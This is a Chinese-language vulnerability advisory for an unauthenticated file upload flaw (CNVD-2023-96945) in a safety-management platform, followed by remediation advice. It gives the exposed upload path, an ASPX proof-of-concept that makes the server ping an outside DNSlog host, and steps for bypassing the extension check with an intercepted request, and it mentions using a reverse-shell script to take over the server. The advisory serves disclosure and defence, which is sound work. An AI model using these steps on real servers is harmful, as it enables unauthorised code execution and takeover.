漏洞编号:CNVD-2023-96945
安全生产数字化管理平台存在未授权文件上传漏洞。
漏洞描述:
系统存在的文件上传功能可被未授权访问使用并且未做好文件上传限制,导致恶意用户可上传恶意文件并解析,直接获取服务器权限。
复现步骤:
1.访问路径/Content/Plugins/uploader/FileChoose.html可直接使用未授权的文件上传功能。
2.本次测试使用的ping.aspx脚本内容为:
<%@ Page Language="C#" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
string ipAddress = "up1.kbtxvc.ceye.io"; // 替换为要 ping 的固定地址
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "ping";
process.StartInfo.Arguments = ipAddress;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
}
</script>
此脚本仅测试文件上传解析情况,获取服务器权限可使用aspx反弹脚本。
3.将使用的aspx脚本保存重命名未ping.png,绕过前端文件后缀校验,选择ping.png并抓包,第一个数据包无需更改,直接放过。
第二个数据包修改fileName参数,即为保存到服务器的文件名,修改为aspx后缀
第三个数据包返回上传到服务器后的文件保存路径与文件名。
4.根据路径访问上传的aspx文件,aspx程序被解析执行,收到dnslog日志。
修复建议:
1.文件类型检查:在服务器端对上传的文件进行类型检查,防止上传不合法的文件类型。可以使用白名单机制,只允许上传特定的文件类型。
2.文件名检查:避免使用原始文件名,生成新的随机文件名,并且保证唯一性。
3.文件内容检查:使用杀毒软件或者其他安全工具对上传的文件进行扫描,识别是否存在恶意代码。
4.文件权限设置:上传的文件应该存储在一个独立的目录下,该目录的访问权限应该限制为最小化。